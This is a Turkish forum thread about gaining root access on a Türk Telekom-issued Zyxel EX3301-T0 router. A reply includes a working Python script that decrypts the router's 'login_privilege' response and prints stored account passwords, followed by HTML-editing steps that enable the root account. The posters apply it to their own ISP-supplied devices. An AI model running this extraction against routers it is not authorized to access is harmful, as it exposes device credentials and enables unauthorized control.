Turk Telekom Zyxel EX3301-T0 Root erişimi nasıl sağlanır?

Ftth tarafında router root işlemi yapmak sizi ileride sıkıntıya sokabilir. Hattınızı iptal ederseniz router'ı t.t'ye iade etmek zorunda kalacaksınız eğer ki router'da root olduğu veya daha öncesinde root işlemi yapıldığı tespit edilirse, router'ın parasını alırlar.
 
Merhaba. Türk Telekom'un bana verdiği ZyXEL EX3301-T0 router veya DX3301-T0 router için root yetkisi nasıl açılabilir?


Merhaba sorunu çözdüm.

İlk olarak Python kodu ile ROOT şifresini bulalım.
Kod:
import json, requests
from Crypto.Cipher import AES
from base64 import b64decode
from Crypto.Util.Padding import unpad

def print_passwords (ip, aes_key, session_key):
    aes_key = aes_key
    cookies = {
        "_TESTCOOKIESUPPORT": "1",
        "Session": session_key
    }
    headers = {
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "nl,en-US;q=0.7,en;q=0.3",
        "Connection": "keep-alive",
        "Host": ip,
        "If-Modified-Since": "Thu, 01 Jun 1970 00:00:00 GMT",
        "Referer": f"http://{ip}/",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0",
        "X-Requested-With": "XMLHttpRequest"
    }

    response = requests.get(f"http://{ip}/cgi-bin/DAL?oid=login_privilege", cookies=cookies, headers=headers).json()
    ct = b64decode(response["content"])
    iv = b64decode(response["iv"])
    key = b64decode(aes_key)
    cipher = AES.new(key, AES.MODE_CBC, iv[:16])
    pt = unpad(cipher.decrypt(ct), AES.block_size)
    data = json.loads(pt)
    for object in data["Object"]:
        try:
            print(f"password for {object['Username']}: {object['Password']}")
        except KeyError:
            pass

ip = "192.168.1.1"
session_key = str(input("Session:"))
aes_key = str(input("AesKey:"))
print()
print_passwords(ip, aes_key, session_key)

Python kodunu çalıştırıp istenilen Session ve AesKey verilerini girerek bilgileri elde edelim;
Eki Görüntüle 1987020
Eki Görüntüle 1987019
Eki Görüntüle 1987016

Daha sonra Router üzerinden kullanıcı hesap düzenleneme bölümüne girelim;
Eki Görüntüle 1987018

"admin" kullanıcısının bulunduğu kutucuğu seçip HTML kodları arasından bulalım, daha sonra disable="disable" yazılı kısmı silerek kutucuğu aktif edelim.
Eki Görüntüle 1987022

Hiçbir şeye dokunmadan admin kullanıcısının ismini root yazıyoruz daha sonra ise Python kodundan aldığımız root şifresini yazıyoruz ve yeni şifreyi yazıp TAMAM'a tıklıyoruz.
Eki Görüntüle 1987017

Kullanıcı aktif şekilde;
Eki Görüntüle 1987015


NOT=Sürüm V0.22-20230603 sürümü ile test edilmiştir ve başarılı olunmuştur, işlem sırasında çıkacak herhangi bir sorun nedeni ile cihazın BRİCK olması nedeniyle tarafımca sorumluluk kabul etmiyorum.

bu yöntem benim bu versiyonda çalıştı. EX3301-T0-V0.28-20231120
root olarak giriş yapabildim.
 
Arkadaşlar bence bizim amacımız DNS değiştirmek olmalı. Türk Telekom'da DNS değiştirmenin bir yolunu bulmalıyız.
 

Bu konuyu görüntüleyen kullanıcılar

Technopat Haberler

Geri
Yukarı